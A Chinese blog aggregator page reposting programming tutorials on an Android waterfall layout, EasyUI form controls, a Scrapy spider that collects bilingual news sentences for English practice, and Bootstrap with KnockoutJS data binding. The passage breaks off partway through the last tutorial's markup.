[转载]android 瀑布流的实现详解,附源码 - youxiachai - 博客园

mikel阅读(687)

[转载]android 瀑布流的实现详解,附源码 – youxiachai – 博客园.

介绍

参考自:https://github.com/dodola/android_waterfall,因为原来的代码封装不好,所以,我根据源码的思路,重新写了一遍,所以有了现在这个项目:https://github.com/youxilua/waterfall4android

原作者表示:

试过在1万张可以流畅的滑动,不出现内存溢出情况

设计思路

Waterfall

之前的作者的自定义view 只有主滑动一层,其他的设置要在相应的活动设置,个人觉得,重用起来比较麻烦,所以决定封装一层.现在定义一个默认的瀑布流只需5步,以下为源码示意,具体,看源码…

//1 初始化waterfall

waterfall_scroll = (WaterFallView) findViewById(R.id.waterfall_scroll);

//2 初始化显示容器

waterfall_container = (LinearLayout) findViewById(R.id.waterfall_container);

//3,设置滚动监听

waterfall_scroll.setOnScrollListener(this);

//4,实例一个设置

WaterFallOption fallOption = new WaterFallOption(waterfall_container, 每列宽度, 列数);

//5,提交更改,实现Android瀑布流

waterfall_scroll.commitWaterFall(fallOption, waterfall_scroll);

最后不要忘了监听滚动到底部的监听

@Override public void onBottom() { AddItemToContainer(++(waterfall_scroll.current_page), waterfall_scroll.pageCount); }

已知bug

这里出现的bug,原来的也有…

  • 滚动过快,导致部分图片无法显示

功能加强

  • 实现支持URL的方式加载图片

[转载]基于MVC4+EasyUI的Web开发框架形成之旅--界面控件的使用 - 伍华聪 - 博客园

mikel阅读(915)

[转载]基于MVC4+EasyUI的Web开发框架形成之旅–界面控件的使用 – 伍华聪 – 博客园.

在前面介绍了两篇关于我的基于MVC4+EasyUI技术的Web开发框架的随笔,本篇继续介绍其中界面部分的一些使用知识,包括控件的赋值、取值、清空,以及相关的使用。

我们知道,一般Web界面包括的界面控件有:单行文本框、多行文本框、密码文本框、下拉列表Combobox、日期输入控件、数值输入控件、单项选 择、复选框、表格控件DataGrid、树形控件、布局控件、弹出式对话框、提示信息、列表控件等,这些界面控件的操作都有哪些不同,下面我们来逐一进行 介绍。

1、单行文本框

使用easyui的控件,单行文本可以使用easyui-validatebox样式即可,类型为text的控件。

界面代码如下所示:

<input class="easyui-validatebox" type="text" id="Name" name="Name" />
或者
<input type="text" ID="txtLoginName" name="txtLoginName" style="width:100px"  />

赋值给界面控件代码如下:

$("#Name").val(info.Name);

获取界面控件的值代码如下:

var name = $("#Name").val();

如果是标签Lable控件,这需要把val 使用text替代即可,如下代码所示:

$("#Name").text(info.Name);

对于easyui-validatebox样式的控件,一般来说,有几个常见属性可以设置他们的。

复制代码
//必输项:
 <input class="easyui-validatebox" type="text" name="name" data-options="required:true"></input>

//格式的验证:
 <input class="easyui-validatebox" type="text" name="email" data-options="validType:'email'"></input>
 <input class="easyui-validatebox" type="text" name="email" data-options="required:true,validType:'url'"></input>

//长度范围的验证:
 <input class="easyui-validatebox" data-options="validType:'length[1,3]'">
复制代码

 

2、多行文本框

easyui的界面样式,可以使用easyui-validatebox,或者默认的textarea即可。

界面代码如下所示:

<textarea id="type_Remark" class="easyui-validatebox" required="true" style="height:100px;"></textarea>

或者

<textarea style="height:60px;width:200px" id="type_Remark" name="Remark"></textarea>

赋值给界面控件代码如下:

$("#type_Remark").val(json.Remark);

获取界面控件的值代码如下:

 var text = $("#type_Remark").val();

 

3、密码文本框

密码文本框和常规的文本框一样,只是输入字符的时候,系统做了屏蔽显示而已,把它作为一个来独立说明,也是因为它也是常见输入的一种。

界面代码如下所示:

 <input type="password" name="password" style="width:260px;"></input>

赋值给界面控件代码如下:

var password = '123';
$("#Password").val(password)

获取界面控件的值代码如下:

复制代码
            $("#btnLogin").click(function () {
                var postData = {
                    UserName: $("#UserName").val(),
                    Password: $("#Password").val(),
                    Code: $("#Code").val()
                };
复制代码

 

4、下拉列表Combobox

常见的EasyUI的ComboBox是可以输入,也可以从列表选择的内容的输入控件。

界面代码如下所示:

<input class="easyui-combobox" type="text" id="type_PID1" name="PID" />

绑定下拉列表的数据源代码如下:

            $('#type_PID1').combobox({
                url: '/DictType/GetDictJson',
                valueField: 'Value',
                textField: 'Text'
            });

设置控件的选择的内容代码如下:

$("#type_PID1").combobox('setValue', json.PID);

获取界面控件的值代码如下:

var systemType=  $("#txtSystemType_ID").combobox('getValue');

而利用标准的Select控件虽然可以实现从列表选择,不过不够ComboBox控件那么灵活方便,Select控件的界面代码如下:

<select id="txtPID" style="width: 100%" > </select>

 

5、日期输入控件

easyui使用class=‘easyui-datebox’来标识日期控件,从弹出的层中选择正确的日期,是一种非常常见的界面输入控件,可以替代My97DatePicker日期输入控件。

弹出窗体界面效果如下。

它的界面代码如下所示:

<input class="easyui-datebox" type="text" ID="txtLastUpdated" name="txtLastUpdated" style="width:100px"  />

赋值给界面控件代码如下:

$("#LastUpdated").datebox('setValue', info.LastUpdated);

获取界面控件的值代码如下:

var lastupate = $("#txtLastUpdated").datebox('getValue');

 

6、数值输入控件

easyui使用样式easyui-numberbox标识为数值类型,其表现为文本框,但只能输入数值。

界面代码如下所示:

<input class="easyui-numberbox" data-options="min:10,max:90,precision:2,required:true">

或者使用‘easyui-numberspinner’样式来标识,可以上下调节数值。

<input class="easyui-numberspinner" data-options="min:10,max:100,required:true" style="width:80px;"></input>

赋值给界面控件代码如下:

$('#nn').numberbox('setValue', 206.12);

或者

$('#ss').numberspinner('setValue', 8234725);

获取界面控件的值代码如下:

var v = $('#nn').numberbox('getValue');

或者

var v = $('#ss').numberspinner('getValue');

 

7、单项选择Radio控件

单项选择Radio控件,是在多项内容里面选择一个选项进行保存或者显示。

界面代码如下所示:

复制代码
                    <tr>
                        <th>
                            <label>数据分开方式:</label>
                        </th>
                        <td>
                            <input name="SplitType" type="radio" class="easyui-validatebox" checked="checked" required="true" value="Split">分隔符方式,多个数据中英文逗号,分号,斜杠或顿号[, , ; ; / 、]分开,或一行一个 
                            <br />
                            <input name="SplitType" type="radio" class="easyui-validatebox" required="true" value="Line">一行一个记录模式,忽略所有分隔符号
                        </td>
                    </tr>
复制代码

赋值给界面控件代码如下:

$('input:radio[name="SplitType"][value="Split"]').prop('checked', true);

获取界面控件的值代码如下:

$("input[name='SplitType']:checked").val()

 

或者使用Comobo控件作为单项选择的控件也是可以的,界面效果如下所示。

其界面代码如下所示:

复制代码
    <select id="cc" style="width:150px"></select>
    <div id="sp">
        <div style="color:#99BBE8;background:#fafafa;padding:5px;">Select a language</div>
        <input type="radio" name="lang" value="01"><span>Java</span><br/>
        <input type="radio" name="lang" value="02"><span>C#</span><br/>
        <input type="radio" name="lang" value="03"><span>Ruby</span><br/>
        <input type="radio" name="lang" value="04"><span>Basic</span><br/>
        <input type="radio" name="lang" value="05"><span>Fortran</span>
    </div>
    <script type="text/javascript">
        $(function(){
            $('#cc').combo({
                required:true,
                editable:false
            });
            $('#sp').appendTo($('#cc').combo('panel'));
            $('#sp input').click(function(){
                var v = $(this).val();
                var s = $(this).next('span').text();
                $('#cc').combo('setValue', v).combo('setText', s).combo('hidePanel');
            });
        });
    </script>
复制代码

 

8、复选框

复选框是在一项或多项内容中,选择零项或者多项的一个输入界面控件。

界面代码如下所示:

<input id="chkIsExpire" type="checkbox" >帐号过期

由于复选框的一些特殊性质,在表单提交的时候,如果没有勾选的选型,使用serializeArray()方法构造的数据,复选框的值则不会被提交。

基于这个原因,我们可以使用Select控件进行替代,实现复选项的功能,而不影响

var postData = $("#ffEdit").serializeArray();

以上代码的使用。

使用Select控件的代码如下所示。

<select  id="Visible1" name="Visible">
          <option value="true" selected>正常</option>
          <option value="false">不可见</option>
 </select>

赋值给界面控件代码如下:

$("#Visible1").prop('checked', info.Visible);

获取界面控件的值代码如下:

var visible = $("#txtVisible").val();

 

9、表格控件DataGrid

easyui的列表控件,可以通过指定table的class属性为easyui-datagrid即可实现表格的定义,界面代码如下所示:

复制代码
<table class="easyui-datagrid" title="Basic DataGrid" style="width:700px;height:250px"
            data-options="singleSelect:true,collapsible:true,url:'../datagrid/datagrid_data1.json'">
        <thead>
            <tr>
                <th data-options="field:'itemid',width:80">Item ID</th>
                <th data-options="field:'productid',width:100">Product</th>
                <th data-options="field:'listprice',width:80,align:'right'">List Price</th>
                <th data-options="field:'unitcost',width:80,align:'right'">Unit Cost</th>
                <th data-options="field:'attr1',width:250">Attribute</th>
                <th data-options="field:'status',width:60,align:'center'">Status</th>
            </tr>
        </thead>
    </table>
复制代码

不过为了避免使用脚本定义datagrid导致多次初始化的问题,我们一般只需要指定一个table代码即可,界面如下所示

            <table id="grid" style="width: 1024px" title="用户操作" iconcls="icon-view">            
            </table>

而表格控件的数据加载,我们使用JavaScript进行初始化,初始化后的表格界面显示效果如下所示。

 

JavaScript代码如下所示,其中的width: function () { return document.body.clientWidth * 0.9 }是用来实现宽度自适应的一个操作。

复制代码
        //实现对DataGird控件的绑定操作
        function InitGrid(queryData) {
            $('#grid').datagrid({   //定位到Table标签,Table标签的ID是grid
                url: '/Menu/FindWithPager',   //指向后台的Action来获取当前菜单的信息的Json格式的数据
                title: '功能菜单',
                iconCls: 'icon-view',
                height: 650,
                width: function () { return document.body.clientWidth * 0.9 },
                nowrap: true,
                autoRowHeight: false,
                striped: true,
                collapsible: true,
                pagination: true,
                pageSize: 100,
                pageList: [50,100,200],
                rownumbers: true,
                //sortName: 'ID',    //根据某个字段给easyUI排序
                sortOrder: 'asc',
                remoteSort: false,
                idField: 'ID',
                queryParams: queryData,  //异步查询的参数
                columns: [[
                    { field: 'ck', checkbox: true },   //选择
                     { title: '显示名称', field: 'Name', width: 200},
                     { title: '图标', field: 'Icon', width: 150 },
                     { title: '排序', field: 'Seq', width: 80 },
                     { title: '功能ID', field: 'FunctionId', width: 80 },
                     { title: '菜单可见', field: 'Visible', width: 80 },
                     { title: 'Winform窗体类型', field: 'WinformType', width: 400 },
                     { title: 'Web界面Url地址', field: 'Url', width: 200 },
                     { title: 'Web界面的菜单图标', field: 'WebIcon', width: 120 },
                     { title: '系统编号', field: 'SystemType_ID', width: 80 }
                ]],
                toolbar: [{
                    id: 'btnAdd',
                    text: '添加',
                    iconCls: 'icon-add',
                    handler: function () {
                        ShowAddDialog();//实现添加记录的页面
                    }
                }, '-', {
                    id: 'btnEdit',
                    text: '修改',
                    iconCls: 'icon-edit',
                    handler: function () {
                        ShowEditOrViewDialog();//实现修改记录的方法
                    }
                }, '-', {
                    id: 'btnDelete',
                    text: '删除',
                    iconCls: 'icon-remove',
                    handler: function () {
                        Delete();//实现直接删除数据的方法
                    }
                }, '-', {
                    id: 'btnView',
                    text: '查看',
                    iconCls: 'icon-table',
                    handler: function () {
                        ShowEditOrViewDialog("view");//实现查看记录详细信息的方法
                    }
                }, '-', {
                    id: 'btnReload',
                    text: '刷新',
                    iconCls: 'icon-reload',
                    handler: function () {
                        //实现刷新栏目中的数据
                        $("#grid").datagrid("reload");
                    }
                }],
                onDblClickRow: function (rowIndex, rowData) {
                    $('#grid').datagrid('uncheckAll');
                    $('#grid').datagrid('checkRow', rowIndex);
                    ShowEditOrViewDialog();
                }
            })
        };
复制代码

对于查询按钮触发的数据后台查询及数据绑定操作,javascript代码如下所示:

复制代码
        //绑定查询按钮的的点击事件
        function BindSearchEvent() {
            //按条件进行查询数据,首先我们得到数据的值
            $("#btnSearch").click(function () {
                //得到用户输入的参数,取值有几种方式:$("#id").combobox('getValue'), $("#id").datebox('getValue'), $("#id").val()
                //字段增加WHC_前缀字符,避免传递如URL这样的Request关键字冲突
                var queryData = {
                    WHC_ID: $("#txtID").val(),
                    WHC_Name: $("#txtName").val(),
                    WHC_Icon: $("#txtIcon").val(),
                    WHC_Seq: $("#txtSeq").val(),
                    WHC_FunctionId: $("#txtFunctionId").val(),
                    WHC_Visible: $("#txtVisible").val(),
                    WHC_WinformType: $("#txtWinformType").val(),
                    WHC_Url: $("#txtUrl").val(),
                    WHC_WebIcon: $("#txtWebIcon").val(),
                    WHC_SystemType_ID: $("#txtSystemType_ID").val()
                }
                //将值传递给
                InitGrid(queryData);
                return false;
            });
        }
复制代码

通过构造一些查询参数并传递相应的值,后台根据这些参数,从对应控制器的分页方法 FindWithPager 获取相应的分页数据,并绑定到grid控件中。

 

10、树形控件

虽然easyui也有Tree控件,不过我较喜欢使用zTree这个树形控件,这个是一个免费的JQuery树控件。

引用代码如下所示:

    <link href="~/Content/JQueryTools/JQueryTree/css/zTreeStyle/zTreeStyle.css" rel="stylesheet" type="text/css" />
    <script src="~/Content/JQueryTools/JQueryTree/js/jquery.ztree.core-3.5.min.js" type="text/javascript"></script>

初始化在Tree树控件的界面代码如下所示:

复制代码
    <script type="text/javascript">
     <!--
        var setting = {
            data: {
                simpleData: {
                    enable: true
                }
            },
            callback: {
                onClick: onClick,
                onDblClick: onDblClick
            }
        }

        //重新加载树形结构(异步)
        function reloadTree() {
            $("#loading").show();

            $.getJSON("/DictType/GetTreeJson?r=" + Math.random(), function (json) {
                $.fn.zTree.init($("#treeDemo"), setting, json);
                $.fn.zTree.getZTreeObj("treeDemo").expandAll(true);

                var treeObj = $.fn.zTree.getZTreeObj("treeDemo");
                var treeNodes = treeObj.getNodes();
                if (treeNodes != null) {
                    loadTypeData(treeNodes[0].id);
                }
            });
            $("#loading").fadeOut(500);
        }

        //树单击节点操作
        function onClick(event, treeId, treeNode, clickFlag) {
            var id = treeNode.id;
            loadTypeData(id);
        }
        //树双击节点操作
        function onDblClick(event, treeId, treeNode) {
            var id = treeNode.id;
            loadTypeData(id);
            ShowDictType('edit');
        }
复制代码

 

11、布局控件

EasyUI通过DIV层来控制布局的显示,DIV里面增加一个Region的属性用来区分属于哪个区域,如下图是我Web开发框架的界面布局效果图。

界面代码如下所示:

我们详细查看主工作区的代码,如下所示。

复制代码
    <!--主工作区-->
    <div id="mainPanle" region="center" title="" style="overflow:hidden;">
        <div id="tabs" class="easyui-tabs"  fit="true" border="false" >
        </div>
    </div>
复制代码

 其中字典管理里面还有子布局的展示,我们查看字典管理里面界面代码,如下所示。

复制代码
    <div class="easyui-layout" style="width:700px;height:700px;" fit="true">
        <div data-options="region:'west',split:true,title:'字典类别',iconCls:'icon-book'" style="width: 300px; padding: 1px;">
            <div style="padding: 1px; border: 1px solid #ddd;">                
                .......................</div>
            <div>
                <ul id="treeDemo" class="ztree">
                </ul>
            </div>
        </div>
        <div id="tb" data-options="region:'center',title:'字典数据',iconCls:'icon-book'" style="padding:5px;height:auto">                
            <!-------------------------------详细信息展示表格----------------------------------->
            <table id="grid" style="width: 940px" title="用户操作" iconcls="icon-view"></table>
        </div>
    </div>
复制代码

 

12、弹出式对话框

EasyUI弹出式对话框用的很多,对话框的界面代码放在DIV层里面,一般在界面整个界面加载后中已经初始化了,只是我们根据条件相似适当的层即可,这样就形成了弹出式对话框,弹出式对话框有一个遮罩的效果。

界面代码如下所示:

 

13、提示信息

在常规的Web界面提示里面,我们一般用纯粹的javascript的alert函数来进行信息的提示,如果在基于EasyUI的界面布局和演示里 面,使用这个提示显然会和界面演示不够匹配,因此我们使用messager类来进行相应的提示信息处理,简单的脚本提示代码如下。

$.messager.alert("提示", "修改成功");

提示信息也可以更加丰富,添加图标等信息,界面代码如下所示。

复制代码
    <script>
        function alert1(){
            $.messager.alert('My Title','Here is a message!');
        }
        function alert2(){
            $.messager.alert('My Title','Here is a error message!','error');
        }
        function alert3(){
            $.messager.alert('My Title','Here is a info message!','info');
        }
        function alert4(){
            $.messager.alert('My Title','Here is a question message!','question');
        }
        function alert5(){
            $.messager.alert('My Title','Here is a warning message!','warning');
        }
    </script>
复制代码

对于一般的删除操作,一般有一个提示确认的消息框,这个messager类也进行了封装处理,效果也不错。

界面代码如下所示。

复制代码
                $.messager.confirm("删除确认", "您确认删除选定的记录吗?", function (deleteAction) {
                    if (deleteAction) {
                        $.get("/DictData/DeletebyIds", postData, function (data) {
                            if (data == "true") {
                                $.messager.alert("提示", "删除选定的记录成功");
                                $("#grid").datagrid("reload");

                                //当删除完成之后,第二次删除的时候还记得上次的信息,这样是不可以的,所以我们需要清除第一次的信息                                
                                rows.length = "";//第一种方法                                
                                $("#grid").datagrid("clearSelections");//第二种方法
                            }
                            else {
                                $.messager.alert("提示", data);
                            }
                        });
                    }
                });
复制代码

以上就是我Web开发框架里面常用到的一些界面控件展示以及相关的代码介绍,有一些不太常用的控件可能还没有在本文中介绍,欢迎大家进行补充和讨论,以后有时间继续完善这个文章,作为基于MVC+EasyUI的框架界面的一个很好的参考。

希望大家喜欢,多多提意见。

[转载]用网络爬虫给自己写个英语学习工具 - Benjamin-T - 博客园

mikel阅读(881)

[转载]用网络爬虫给自己写个英语学习工具 – Benjamin-T – 博客园.

作为一个英语学习爱好者,我发现我们学了那么多年英语,虽然现在看英语文章已经不怎么吃力,但是如果要自己写一篇英语文章,就总是感觉单词虽然都 懂,可要拼出一句有水平的句子就很难。其原因我觉得是我们平时虽然做了不少的阅读,但只是在被动地将英语信息转化成大概的中文意思理解,而没有试着反过来 训练一下从中文怎么表达成英文。作为一个程序员有一个好处就是,当你发现一个需求的时候可以自己试着做个东西来玩玩,为了做这个学习工具,我首先想到了有 些新闻网站会提供双语新闻(比如酷优网http://www.cuyoo.com/home/portal.php), 然后我的思路就简单成型了,先搞个网络爬虫,把一些双语新闻网页抓取下来,然后将每一句中英文对照抽取出来,再做个图形界面,每次先显示一条中文,让用户 尝试输入英文翻译,写不出来可以查看原英文提示,再提供一个笔记功能用于记录一下特殊词汇,表达方式和体会等,下面就给大家看看我是如何一一实现这些功能 的。

网页抓取框架—scrapy

所谓的网络爬虫,其实就像我们使用的浏览器,它去访问一个个链接,然后把对应的网页下载下来,所不同的是浏览器把文件下载下来后就呈现出来一个页 面,而爬虫则可以根据我们定义的规则去自动地访问网站里的链接,然后把下载到的网页文件进行处理,并抽取出我们所要的数据。如果要自己实现一个网络爬虫, 就要写一个模拟http客户端,还要实现文本解析等功能,还是挺麻烦的,这时候可以找找有什么好用的开源软件。Scrapyhttp://scrapy.org/)就是一个很不错的工具,它是一个使用python实现快速高级的网页抓取框架,使用它的时候,你只需要简单地定义你要抓取的网页url,还有对每个抓取到的页面需要进行的处理操作,其它的都可以由scrapy完成,有兴趣的朋友可以看看它提供的教程(http://doc.scrapy.org/en/0.18/intro/tutorial.html),现在开始我们的工作。

(1)在安装scrapy后,在shell终端下随便找个目录运行命令:

      scrapy startproject bilingual (自己取的项目名)

  得到如下面所示的一个项目结构

 

复制代码
bilingual/
    scrapy.cfg
    bilingual/
        __init__.py
        items.py
        pipelines.py
        settings.py
        spiders/
            __init__.py
            ...
复制代码

 

scrapy提供这些文件让我们自定义对抓取到的数据的处理过程,其中spiders目录下用于存放用户定义的spider类,scrapy根 据这里所定义的类进行信息抓取,在spider类中,需要定义初始的url列表,以及根据什么规则爬取新的链接和如何解析抽取下载到的网页信息,我这里为 了简单,就只在spiders目录下写了一个spider进行处理,没有使用其它功能。

(2)在spiders目录下,创建文件cuyoo.py (自定义的spider名,也就是要抓取的网站名),代码如下

复制代码
 1 from scrapy.selector import HtmlXPathSelector
 2 from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor
 3 from scrapy.contrib.spiders import CrawlSpider, Rule
 4 
 5 import codecs
 6 import os
 7 
 8 class CuyooSpider(CrawlSpider):
 9     name = 'cuyoo'             
10     allowed_domains = ['cuyoo.com']
11     start_urls = [                 
12              'http://www.cuyoo.com/home/portal.php?mod=list&catid=2']
13                                                                      
14     rules = (                                                        
15         Rule(SgmlLinkExtractor(allow=r'.*mod=view_both.*'), callback=‘parse_item',
          follow=False),
16     )                                                                
17                                                                      
18     def __init__(self, *arg, **kwargs):
19         super(CuyooSpider, self).__init__(*arg, **kwargs)
20         self.output = codecs.open("data", "wb", "utf-8") 
21                                                          
22     def __del__(self):                                  
23         self.output.close()
24                            
25     def parse_item(self, response):
26         hxs = HtmlXPathSelector(response)
27         title = hxs.select("//h4[@class='ph']/text()").extract()
28         english = hxs.select('//div[@id="en"]/text()').extract()
29         chinese = hxs.select('//div[@id="cn"]/text()').extract()
30         self.output.write("---" + title[0].strip() + "---")     
31         self.output.write(os.linesep)                           
32         for i in range(len(english)):                           
33             self.output.write(chinese[i].strip())               
34             self.output.write("->")                             
35             self.output.write(english[i].strip())          
36             self.output.write(os.linesep)
复制代码

稍微解释一下,在上面这个spider中,我在star_urls成员中放了一个链接,http://www.cuyoo.com/home/portal.php?mod=list&catid=2,打开这个链接可以看到下面这个网页:



可以看到,在这个网页中有多个新闻链接,每个链接点击双语对照可以得到中英文对照版的新闻,查看源代码可以看出其链接形式为:portal.php?mod=view_both&aid=19076,所以在rules里定义规则

Rule(SgmlLinkExtractor(allow=r'.*mod=view_both.*'), callback=‘parse_item',follow=False)
用正则表达式表示包含'mod=view_both’的链接,scrapy在访问该网页时,就会自动抓取符合所定义的规则的所有链接,这样就将这一页里的所有中英文对照的新闻都抓取了下来,然后对每个抓取到的网页调用parse_item(self, response)进行处理
(3) 因为我们要的只是网页里的中英文新闻内容,所以要对下载到的网页进行信息抽取,scrapy提供了XPath查找功能,让我们可以方便地抽取文档节点内容,不了解XPath可以看看W3C的教程(http://www.w3school.com.cn/xpath/),要抽取信息,首先还是要分析该新闻网页的结构,可以使用scrapy提供的命令行工具来分析网页结构和试验xpath语句,首先运行命令
scrapy shell 'http://www.cuyoo.com/home/portal.php?mod=view_both&aid=19076'
将网页下载下来后,再输入view(response),可在浏览器查看下载到的网页

可以看出,新闻的两种格式分别包含在两个div中,一个id为en,另一个为cn,所在在parse_item()中,分别使用
hxs.select('//div[@id="en"]/text()').extract() 和 hxs.select('//div[@id="cn"]/text()').extract()
将内容抽取出来,并按格式写到文件中。
(4)在项目目录下运行 scrapy crawl cuyoo 开始抓取,最终得到如下图所示意的文件

2 图形界面

有了抓取到的数据,接下来要怎么做就可以自由发挥了,我的图形界面是通过Qt实现的,个人觉得很方便好用,这一块没什么好说的,就直接给大家看看成果吧。

程序界面

选择文章

查看提示

 

最后还有一个记笔记的功能还没实现,本来是想通过使用印象笔记的SDK,把笔记直接记到印象笔记上的,但是因为他们的SDK的C++版没有教程文档,而且好像帐号也有点复杂,还是等以后再找时间实现吧。

3 总结

做这个东西收获了两点,第一是让我感到编程其实很有用,不仅限于工作和学习,只要有想法,我们能做的东西很多。第二是关于开源软件,现在的开源 软件很多,使用开源的东西很方便,也很有趣,同时在使用的过程中我们也可以参与到其中,比如我在用scrapy的时候,在上面提到的这样一个命令

scrapy shell 'http://www.cuyoo.com/home/portal.php?mod=view_both&aid=19076'
 
一开始我的链接没用引号括起来,因为&在shell里是个特殊符号,表示后台运行,所以链接里的第二个参数在运行的时候就没了,后来想明白后,问题解决了,我觉得这个问题别人可能也会遇到,所以就在scrapy的github页面上给提了这个问题,希望他们能加到tutorial文档里,然后过了一两天,他们就真的加上了,这让我感到很高兴,也很佩服。

  好了,写得好长,谢谢观看~

[转载]前端开发框架Bootstrap和KnockoutJS - 莱布尼茨 - 博客园

mikel阅读(858)

[转载]前端开发框架Bootstrap和KnockoutJS – 莱布尼茨 – 博客园.

江湖中那场异常惨烈的厮杀,如今都快被人遗忘了。当年,所有的武林同道为了同一个敌人都拼尽了全力,为数不多的幸存者心灰意冷,隐姓埋名,远赴他乡,他们将唯一的希望寄托给时间。少年子弟江湖老,红颜少女的鬓边也有了白发。多年以后,听闻那个魔头也不久于人世,他们欣欣然回乡,却发现当初殚精竭虑研究出来对付敌人的招数全无用处,曾经受人尊敬的大侠现在被称为——新手 or 菜鸟。月下小酌,孤独的他们对着夜空举起酒杯,吼一声:“走你,IE6!”

—————————————————–割——————————————————————–

Bootstrap是一个前端框架,解放Web开发者的好东东,展现出的UI非常高端大气上档次,理论上可以不用写一行css。只要在标签中加上合适的属性即可。请参看Bootstrap中文文档,这是3.0版本。

KnockoutJS是一个JavaScript实现的MVVM框架。非常棒。比如列表数据项增减后,不需要重新刷新整个控件片段或自己写JS增删节点,只要预先定义模板和符合其语法定义的属性即可。简单的说,我们只需要关注数据的存取。官网文档

Bootstrap负责UI,KnockoutJS负责数据绑定,两者相得益彰,Web前端必备利器。

我们来做一个简单的例子展示一下它们的威力。

要搁以前,实现类似功能,可以有两个选择:a)直接操作DOM,够喝一壶,一般喜欢展现技术同学的首选;b)借助各种拉风的重量级JS框架,比如 extjs,使用它们的API以减少工作量,不过这些框架的学习曲线也挺扭曲。当然本文所说的两个框架也涉及到各自的JS类库,but,提供给开发人员的 使用方式是完全不同的,后者更松散(废话,两个当然比一个松散)、灵活,且是基于特性声明的方式,个人表示相当不错。下面就让我们开始码吧。

首先搭个初步的框架:

复制代码
<div id="divAuthManage" class="row" style="margin-top: 30px;">
    <div class="col-md-4 col-sm-4 col-xs-6">
        <div>
            <div class="input-group">
                <span class="input-group-addon">用户名</span>
                <input id="inputUserName" type="text" class="form-control" />
                <span class="btn btn-primary input-group-btn">添加</span>
            </div>
            <div id="divWaring" class="alert alert-warning" style="display: none;"></div>
        </div>
        <table class="table table-bordered table-hover" style="margin-top: 20px;">
            <thead>
                <tr>
                    <th>用户ID</th>
                    <th>用户名</th>
                    <th style="text-align: center;">删除</th>
                </tr>
            </thead>
            <tbody>
            </tbody>
        </table>
    </div>
    <div class="col-md-8 col-sm-8 col-xs-12">
        @foreach (AreaElement area in Model.Areas)
        {
            <div class="panel panel-default">
                <div class="panel-heading">

                    @{if (area.Sites.Count == 0)
                      {
                        <label class="checkbox">
                            <input type="checkbox" value="@area.Code" />
                            @area.Name
                        </label>
                      }
                      else
                      {
                        @area.Name
                      }
                    }

                </div>
                @if (area.Sites.Count > 0)
                {
                    <div class="panel-body">
                        @foreach (SiteElement site in area.Sites)
                        {
                            <label class="checkbox-inline">
                                <input type="checkbox" value="@site.Code" />@site.Name
                            </label>
                        }
                    </div>
                }
            </div>
        }
        <p class="text-right">
            <button type="button" class="btn btn-default">保存</button>
        </p>
    </div>
</div>
复制代码

这里就用到了bootstrap,如果一个元素使用了相应的class,它就会呈现bootstrap中预定义的样式。bootstrap还提供了data-xxx属性,这是用来以声明方式使用组件,这里没有涉及。now,界面如下:

图中标注了需要改进的两个地方,此时先不考虑。我们现在要先把数据从后台取出,以及其它的一些操作,于是引进KnockoutJS。接触过WPF的 都知道ViewModel的概念,说白了就是将前端分为UI和交互逻辑,ViewModel就负责交互逻辑,knockoutJS也有这个东西。结合例子 具体来看:

复制代码
window.adApp.authManageViewModel = (function (ko) {
    var userList = ko.observableArray(),
        error = ko.observable(),
        addUser = function (username) {
            this.clearError();
            if (!username) {
                error("请输入用户名.");
            }
            else {
                this._ajaxRequest("post", '/api/UserAuthority/AddUser', { "": username }, function (data) {
                    if (!data.IsSucceed)
                        this.error(data.Message);
                    else {
                        var user = new User(data.Data);
                        this.userList.unshift(user);
                    }
                });
            }
        },
        deleteUser = function (user) {
            this._ajaxRequest("delete", '/api/UserAuthority/DeleteUser', { "": user.userid }, function (data) {
                if (!data.IsSucceed)
                    this.error(data.Message);
                else {
                    this.userList.remove(user);
                }
            });
        },
        getUsers = function () {
            this._ajaxRequest("get", '/api/UserAuthority/GetUsers', null, function (data) {
                this.userList.removeAll();
                for (var i = 0; i < data.length; i++) {
                    userList.push(new User(data[i]));
                }
            });
        },
        selectUser = function (user) {
            for (var i = 0; i < userList().length; i++) {
                userList()[i].selected(false);
            }
            user.selected(true);
            this._ajaxRequest("get", '/api/UserAuthority/GetAccessNavItems', { userid: user.userid }, function (data) {
                user.navitems.removeAll();
                for (var i = 0; i < data.length; i++) {
                    user.navitems.push(data[i]);
                }
            });
        },
        clearError = function () { error(""); };

    var viewmodel = {
        userList: userList,
        error: error,
        _ajaxRequest: ajaxRequest,
        addUser: addUser,
        deleteUser: deleteUser,
        clearError: clearError,
        _getUsers: getUsers,
        selectUser: selectUser,
        currentUser: ko.computed(function () {
            for (var i = 0; i < userList().length; i++) {
                if (userList()[i].selected()) {
                    return userList()[i];
                }
            }
            return null;
        })
    };
    viewmodel._getUsers();
    return viewmodel;

    function ajaxRequest(type, url, data, callback) { // Ajax helper
        this.clearError();
        $.ajax({
            url: url,
            data: data,
            type: type,
            dataType: "json",
            context: this,//指定this为当前对象viewmodel
            success: callback,
            error: function () {
                this.error("服务器错误.");
            }
        });
    }
})(ko);

// Initiate the Knockout bindings
ko.applyBindings(window.adApp.authManageViewModel);
复制代码

window.adApp.authManageViewModel就是ViewModel,它包含了两个属性(UserList为用户集 合,error为提示信息,准确的命名应该类似msg,懒得改了)和若干函数(和服务端交互)。ko.applyBindings将该ViewModel 绑定到页面。上述代码还涉及到两个类型:

复制代码
function NavItem(data) {
    var self = this;
    data = data || {};

    // Persisted properties
    self.code = data.code;
    self.name = data.name;
}

function User(data) {
    var self = this;
    data = data || {};

    // Persisted properties
    self.userid = data.userid;
    self.username = data.username;
    data.navitems = data.navitems || [];
    self.navitems = ko.observableArray(data.navitems);

    self.selected = ko.observable(false);
}
User.prototype.updateNavs = function () {
    var user = this;
    window.adApp.authManageViewModel._ajaxRequest(
        "put", '/api/UserAuthority/UpdateNavItems?userid=' + user.userid, { "": user.navitems()}, function (data) {
            if (!data.IsSucceed)
                this.error(data.Message);
            else {
                this.error("保存成功!");
            }
        });
}
复制代码

现在页面代码如下:

复制代码
<div id="divAuthManage" class="row" style="margin-top: 30px;">
    <div class="col-md-4 col-sm-4 col-xs-6">
        <div>
            <div class="input-group">
                <span class="input-group-addon">用户名</span>
                @*data-bind="input: clearError" 不支持input绑定,so换用自定义绑定,or采用event绑定如下*@
                <input id="inputUserName" type="text" class="form-control" data-bind="event: { input: clearError }" />
                <span class="btn btn-primary input-group-btn" data-bind="click: function (data, event) { addUser(inputUserName.value) }">添加</span>
            </div>
            <div id="divWaring" class="alert alert-warning" style="display: none;" data-bind="animVisible: error"></div>
        </div>
        @*如果userList集合有项,才显示该表格*@
